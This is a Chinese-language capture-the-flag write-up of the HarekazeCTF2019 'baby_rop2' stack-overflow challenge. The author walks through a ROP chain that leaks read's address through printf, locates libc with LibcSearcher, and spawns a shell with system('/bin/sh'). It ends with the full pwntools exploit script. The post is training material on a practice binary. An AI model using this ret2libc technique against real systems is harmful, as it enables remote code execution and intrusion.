一道简单的栈溢出 HarekazeCTF2019]baby_rop2
看了几天堆的题看疯了,做了几道题没感觉就知道今天被降智打击了,那还是整理一下简单的栈溢出题目划划水
首先file看一下
64位 没啥特殊的
再checksec一下
和没开保护差不多
ida里瞟一眼程序
好家伙这么明显,我tm直接溢出
看看有啥溢出的got表————就决定是你了read
由于是64位使用寄存器传参,所以用ropgadget看一下
然后愉快的开始标准操作,然而这道题不讲武德,来骗,来偷袭
一开始payload构造的是:
payload='a'*0x20+p64(0)+p64(rdi_ret)+p64(format)+p64(pop_rsi)+p64(read_got)+p64(printf_plt)+p64(main_addr)
死活通不过,自我怀疑了半小时,直到我看到了这个
这tm啥跟啥啊,直接疑惑,然后翻到评论
这么神奇的吗?
试了一下,不愧是大佬,小弟甘拜下风
得到read的地址后通过libcsearcher函数得到libc基址,在得到system函数以及/bin/sh后重新溢出劫持返回函数就行了
不是吧不是吧,最后一下还要搞我,直接find -name flag走起
最后也是成功拿到flag
总结:
就是懒,没啥好说的,距离上一次做栈的题目都快过了半个月了,然后就忘得差不多了,然后64位这个栈的对齐真的坑,over。
最后贴一下exp
from LibcSearcher import *
from pwn import *
p=remote('node3.buuoj.cn',27060)
#p=process('./babyrop2')
elf=ELF('./babyrop2')
pop_rsi=0x0000000000400731
format=0x0000000000400770
rdi_ret=0x0000000000400733
ret=0x00000000004004d1
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
read_got=elf.got['read']
main_addr=elf.symbols['main']
p.recvuntil('name? ')
payload='a'*0x20+p64(0)+p64(rdi_ret)+p64(format)+p64(pop_rsi)+p64(read_got)+p64(ret)+p64(printf_plt)+p64(main_addr)
p.sendline(payload)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print("addr=0x%x"%read_addr)
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
sys=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
print("%x"%bin_sh)
p.recvuntil('name? ')
payload2='a'*0x20+p64(0)+p64(rdi_ret)+p64(bin_sh)+p64(sys)
p.sendline(payload2)
p.interactive()